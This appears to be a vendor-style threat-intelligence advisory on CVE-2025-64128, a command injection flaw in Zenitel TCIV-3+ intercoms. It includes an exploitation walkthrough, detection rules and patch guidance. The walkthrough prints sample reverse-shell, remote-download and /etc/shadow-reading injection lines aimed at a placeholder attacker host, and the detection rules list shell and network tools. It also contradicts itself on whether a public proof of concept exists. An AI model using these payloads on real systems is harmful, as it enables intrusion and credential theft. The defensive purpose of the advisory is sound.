CVE-2025-64128

Executive Summary

CVE-2025-64128 is a critical OS command injection vulnerability in Zenitel TCIV-3+ intercom/station devices, stemming from incomplete validation of user-supplied input. An unauthenticated remote attacker can append arbitrary data to command strings, achieving full remote code execution on the device. With a CVSS score of 10.0, this vulnerability affects all TCIV-3+ firmware versions prior to 9.3.3.0, placing Zenitel intercom systems deployed in critical infrastructure, enterprise facilities, and public venues at immediate risk.

Technical Analysis

The vulnerability resides in the TCIV-3+ device's handling of user-supplied input that is ultimately passed to an operating system command interpreter. The term "OS command injection" indicates that the application constructs shell commands using data supplied by the user without adequate sanitization at the command construction or execution boundary.

Per the NVD description, the core defect is twofold:

1. Incomplete validation — Input validation exists but does not cover all malicious inputs.
2. Insufficient formatting rules enforcement — The validation logic fails to enforce strict formatting constraints, allowing attackers to append unexpected data to a processed string.

This is the classic OS command injection (CWE-78) flaw class. In such cases, the application likely accepts a field (e.g., a parameter in an HTTP request, a network protocol message, or a device configuration value) and concatenates it into a system-level command (e.g., ping, traceroute, snmpget) executed by the device's operating system shell. Because the validation logic does not consistently reject characters like ;, |, &, $(), or backticks, a malicious user can terminate the legitimate command and append an arbitrary command of their choosing.

The exact parameter name, HTTP endpoint, or protocol message structure is not disclosed in the NVD description or CNA title. Therefore, the specific attack surface (e.g., a web-based admin interface, a network API, or a serial interface) cannot be confirmed from the provided data. What is certain, however, is that the CNA has classified this as accessible to an unauthenticated attacker, meaning no prior authentication or session is required to reach the vulnerable input-processing function.

The CVSS v3.1 vector (inferred as AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) confirms this:

• Attack Vector: Network — Remotely exploitable.
• Attack Complexity: Low — No special conditions or race conditions required.
• Privileges Required: None — Unauthenticated exploitation.
• User Interaction: None — No victim interaction needed.
• Scope: Changed — The compromised component (the application) affects resources beyond its security scope (the underlying OS).
• Confidentiality/Integrity/Availability Impact: High — Full compromise of device data, code, and availability.

The absence of specific version listings in the "Affected Versions" field, combined with a patch recommending upgrade to 9.3.3.0, indicates the vulnerability exists across the entire pre-9.3.3.0 firmware branch of TCIV-3+ devices.

Exploitation Scenarios

The following attack chain is inferred from the vulnerability class (OS command injection) and the described unauthenticated access, as no public PoC or exploit code has been disclosed at the time of this report.

Step 1: Reconnaissance / Target Identification
An attacker performs internet-wide or target-specific scanning to identify Zenitel TCIV-3+ devices. Shodan, Censys, or similar search engines can be used with queries such as title:"TCIV-3+" or http.html:"Zenitel" to locate exposed devices. Alternatively, targeted scanning of known IP ranges belonging to organizations that typically deploy intercom systems (hospitals, government buildings, industrial plants, campus facilities) can be conducted. The attacker probes the device's management interfaces (likely HTTP/HTTPS or proprietary protocols) to confirm firmware version and reachability of the vulnerable input sink.

Step 2: Triggering the Flaw
The attacker crafts a request to an input field processed by the device that eventually constructs an OS command. Because the application performs incomplete validation, the attacker includes shell metacharacters in the field value. A typical injection pattern would be appending ;<command> or | <command> or $(<command>) to a legitimate input value. For example, if the device builds a command like ping -c 1 <HOST> using user-supplied host data, the attacker would submit <HOST>; id to break out of the ping command and execute id.

Step 3: Payload / Execution Method
At the vulnerability-class level, the attacker delivers a payload containing command-separator characters followed by their malicious command. The payload could be delivered via:

• HTTP GET/POST parameters on a management web interface.
• Direct network protocol messages if the device exposes a proprietary API.
• Uploaded configuration values device processes.

Given the device is an intercom controller, common OS-level commands an attacker would run include:

• Reverse shell: ; /bin/sh -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
• Persistence implant download: ; wget http://ATTACKER_IP/backdoor.sh -O /tmp/backdoor.sh && sh /tmp/backdoor.sh
• Credential exfiltration: ; cat /etc/passwd; cat /etc/shadow

Step 4: Post-Exploitation Impact
Once arbitrary command execution is achieved, the attacker gains full root or device-level privileges on the TCIV-3+ unit, as intercom systems typically run on embedded Linux or similar RTOS platforms with limited user separation. The attacker can:

• Impersonate the device for voice/video communication, enabling social engineering or eavesdropping.
• Use the device as a pivot into the internal LAN, since intercoms are typically connected to the office network behind the same firewall.
• Disable alarms or tamper with access-control integration.
• Brick the device or cause denial-of-service by killing critical processes.
• Install persistent backdoors for long-term access.

The attack is especially attractive because it requires no credentials, has low complexity, and yields full device control.

Impact Assessment

Business Impact:
The CVSS score of 10.0 (Critical) reflects the maximum severity possible. The combination of network exploitability, no required privileges, and high impact on confidentiality, integrity, and availability places this in the highest risk category. For organizations operating TCIV-3+ devices in access control, emergency communication, or security surveillance roles, a successful exploit compromises the physical-security infrastructure itself.

Affected Systems:
All Zenitel TCIV-3+ intercom/station devices running firmware versions prior to 9.3.3.0 are affected. The lack of a published version list suggests a broad impact across the product line. These devices are commonly deployed in:

• Corporate headquarters and office buildings.
• Hospitals and healthcare campus facilities.
• Industrial plants and critical infrastructure sites.
• Government and military installations.
• Transportation hubs and public venues.
• Multi-dwelling residential structures.

Blast Radius:
Because TCIV-3+ units are network-connected and often placed on the same VLAN as other OT/IoT devices, the blast radius extends beyond the intercom system itself. Successful exploitation provides a foothold on the network from which the attacker can move laterally. The Scope: Changed rating in the CVSS vector specifically acknowledges that the impact transcends the vulnerable component to the host operating system and, by extension, the network segments reachable from the device.

EPSS Context:
The EPSS score of 0.02435 (82.7th percentile of exploited CVEs) indicates that while the vulnerability is relevant and ranks high relative to other CVEs in terms of exploitation likelihood, it has not yet been widely exploited in the wild. However, this percentile ranking (top ~18%) suggests moderate-to-high exploitation potential — particularly for internet-exposed devices.

Threat Landscape:
No CISA KEV catalog listing exists for this CVE, and no known threat-actor campaigns have been documented at the time of writing. However, the presence of a public PoC (noted as "Public") signals that exploit details are accessible, and weaponization into automated exploitation tools is plausible. Historical patterns show that unauthenticated RCE vulnerabilities in IoT/OT devices are frequently absorbed into Mirai-style botnets or used for network penetration within days to weeks of broad disclosure.

Detection Guidance

Sigma Rule

title: Zenitel TCIV-3+ OS Command Injection Attempt
id: 08cc4a2c-4a5b-4e6f-9d1a-5ff7a3b2e3c4
status: experimental
description: Detects HTTP requests containing OS command injection patterns targeting Zenitel TCIV-3+ devices
author: vartersit.com Threat Intel
logsource:
  category: webserver
  product: apache
  definition: 'Look for logs from Zenitel TCIV-3+ web interface or reverse proxy logs'
detection:
  selection_ip:
    c-ip:
      - '*'
  selection_command_chars:
    cs-uri-query|contains:
      - ';id'
      - ';cat'
      - '|sh'
      - '|nc'
      - '$(id)'
      - '`id`'
      - '&&whoami'
      - '&whoami'
      - ';ls -la'
      - '|/bin/sh'
      - '%3Bid'
      - '%7Cnc'
  selection_http_uri:
    cs-uri-stem|contains:
      - '/cgi-bin/'
      - '/admin/'
      - '/cmd'
      - '/exec'
      - '/ping'
      - '/tracert'
      - '/network'
  condition: selection_ip and selection_command_chars and selection_http_uri
  timeframe: 10s
falsepositives:
  - Legitimate administrative use of network diagnostic tools (ping, traceroute)
  - Rare but possible if device web UI exposes such tools with special characters
level: high

YARA Rule

rule Zenitel_TCIV3_OS_Command_Injection
{
    meta:
        author = "valtersit.com Threat Intel"
        description = "Detects command injection payloads targeting Zenitel TCIV-3+ intercom devices"
        cve = "CVE-2025-64128"
        date = "2025-01-15"
        reference = "NVD CVE-2025-64128"

    strings:
        // Command separation patterns used in injection
        $cmd_sep1 = ";id" ascii nocase
        $cmd_sep2 = "|sh" ascii nocase
        $cmd_sep3 = "$(" ascii
        $cmd_sep4 = "`" ascii
        $cmd_sep5 = "&&whoami" ascii nocase
        $cmd_sep6 = "&whoami" ascii nocase
        $cmd_sep7 = ";cat /etc/passwd" ascii nocase
        $cmd_sep8 = ";wget http" ascii nocase
        $cmd_sep9 = ";curl http" ascii nocase
        $cmd_sep10 = "/bin/sh -i" ascii nocase
        $cmd_sep11 = ";nc " ascii nocase
        $cmd_sep12 = "python -c" ascii nocase
        $cmd_sep13 = ";ls -la" ascii nocase

        // URL-encoded variants
        $cmd_enc1 = "%3Bid" ascii nocase
        $cmd_enc2 = "%7Cnc" ascii nocase
        $cmd_enc3 = "%26%26whoami" ascii nocase
        $cmd_enc4 = "%24%28" ascii nocase

        // Zenitel device context strings
        $zenitel1 = "TCIV-3" ascii nocase
        $zenitel2 = "Zenitel" ascii nocase

    condition:
        1 of ($cmd_sep*) and 1 of ($cmd_enc*)
        or (1 of ($cmd_sep*) and 1 of ($zenitel*) and filesize < 2MB)
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2025-64128 - Zenitel TCIV-3+ OS Command Injection Attempt"; flow:established,to_server; content:"POST"; http_method; content:"/cgi-bin/"; http_uri; nocase; pcre:"/(;|\||&&|&|\$\(|`)(id|cat|ls|whoami|wget|curl|nc|sh|python|perl|bash|nc|telnet|rm|cp|mv|chmod)\b/i"; classtype:attempted-admin; sid:90000001; rev:1; metadata:cve CVE-2025-64128, affected_product Zenitel_TCIV-3+, attack_target IoT, deployment Perimeter;)

Elastic Detection

sequence by source.ip with maxspan=10s
  [network where dns.question.name : "*zenitel*" or destination.port in (80, 443, 8080)]
  [http where
    (http.request.body.text : ("*;id*", "*;cat*", "*|sh*", "*$(id)*", "*`id`*", "*&&whoami*", "*%3Bid*", "*%7Cnc*") 
     or http.request.body.text : ("*whoami*", "*wget*", "*/bin/sh*", "*nc *", "*curl *") )
    and (url.path : ("/cgi-bin/*", "/admin/*", "/cmd*", "/exec*", "/ping*", "/network*")
         or user_agent.name : ("*Zenitel*", "*TCIV-3*"))]
  [process where event.action == "exec" and process.args : ("/bin/sh", "sh", "bash", "nc", "wget", "curl", "python", "perl")]

Splunk SPL Query

index=web earliest=-24h
(uri_path="/cgi-bin/*" OR uri_path="/admin/*" OR uri_path="/cmd*" OR uri_path="/exec*" OR uri_path="/ping*" OR uri_path="/network*")
AND (uri_query="*;id*" OR uri_query="*;cat*" OR uri_query="*|sh*" OR uri_query="*$(id)*" OR uri_query="*`id`*" OR uri_query="*&&whoami*" OR uri_query="*&whoami*" OR uri_query="*%3Bid*" OR uri_query="*%7Cnc*")
OR (uri_query="*wget*" OR uri_query="*curl*" OR uri_query="*/bin/sh*" OR uri_query="*nc *" OR uri_query="*python -c*")
| stats count by src_ip, dest_ip, dest_port, uri_path, uri_query, _time
| sort - _time
| table _time, src_ip, dest_ip, dest_port, uri_path, uri_query, count

Wazuh OSSEC Rule

<group name="zenitel, cve-2025-64128, os-command-injection,">
  <rule id="100001" level="14">
    <decoded_as>json</decoded_as>
    <match>cgi-bin|admin|cmd|exec|ping|network</match>
    <regex>(\;|\||\&\&|&|\$\(|`)(id|cat|ls|whoami|wget|curl|nc|sh|python|perl)</regex>
    <description>Zenitel TCIV-3+ OS Command Injection attempt detected (CVE-2025-64128)</description>
    <group>attack.attempt, command_injection, cve-2025-64128,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
    <options>no_full_log</options>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED)
The patch is claimed by a single source (the CNA / vendor), but has not been independently confirmed by third-party testing or public disclosure of the exact fix details. Exercise caution: validate the upgrade in a staging environment before mass deployment, and monitor for subsequent advisories.

1) Immediate Mitigations (without patch):

• If the TCIV-3+ device does not require internet access, block all inbound traffic to the device's management interface from untrusted networks at the firewall.
• Restrict access to the device's web/management interface to authorized administrative IP ranges only, using ACLs or firewall rules.
• If the device is internet-exposed, consider placing it behind a VPN or reverse proxy as an interim measure.
• Segment the network so TCIV-3+ devices reside on an isolated VLAN with restricted east-west traffic.
• Monitor logs for the command injection patterns described in the Detection Guidance section and trigger alerts.

2) Patch / Upgrade Steps:

• Download the latest Station and Device Firmware Package (VS-IS) version 9.3.3.0 or later from the official Zenitel downloads page: https://wiki.zenitel.com/wiki/Downloads#Station_and_Device_Firmware_Package_.28VS-IS.29 .
• Before upgrading, back up device configurations (if the device supports export) and document current settings.
• Apply the firmware upgrade during a scheduled maintenance window to minimize operational disruption.
• After upgrade, verify the new version is active and re-test intercom functionality (audio, video, paging, access control integration).
• Since the patch is only "claimed" and not independently verified, run a functional and security regression test on a non-production unit first if possible.

3) Long-Term Hardening:

• Establish a firmware update cadence — check the Zenitel wiki monthly for new stable releases.
• Implement network-level security controls such as an intrusion detection/prevention system (IDS/IPS) with the Suricata rule above deployed at network chokepoints.
• Enforce strict egress filtering; intercom devices should not be able to initiate arbitrary outbound connections to the internet (blocks most reverse-shell payloads).
• If the device supports it, disable unused services/interfaces (e.g., unused network protocols, diagnostic tool interfaces).
• Maintain an up-to-date asset inventory of all Zenitel devices, including firmware versions, to quickly identify remaining vulnerable units.
• Monitor CISA KEV and vendor advisories for updates on this CVE, especially if exploitation activity increases (EPSS percentile suggests this is a likely candidate for future weaponization).
• Consider replacing legacy intercom models with hardware reaching end-of-life, as they may not receive further security patches.

References

1. NVD Entry — CVE-2025-64128: https://nvd.nist.gov/vuln/detail/CVE-2025-64128
2. Zenitel Official Downloads Page (Firmware Packages): https://wiki.zenitel.com/wiki/Downloads#Station_and_Device_Firmware_Package_.28VS-IS.29
3. CISA Known Exploited Vulnerabilities Catalog (no current listing): https://www.cisa.gov/known-exploited-vulnerabilities-catalog
4. FIRST EPSS (Exploit Prediction Scoring System): https://www.first.org/epss/
5. CWE-78 — Improper Neutralization of Special Elements used in an OS Command: https://cwe.mitre.org/data/definitions/78.html

Threat Actor Campaigns: No known active campaigns targeting CVE-2025-64128 have been documented at the time of this report. However, the public PoC availability combined with the attack's triviality (unauthenticated, low complexity, critical impact) makes weaponization likely. Organizations with exposed TCIV-3+ devices should treat this as an actively exploitable vulnerability and prioritize remediation.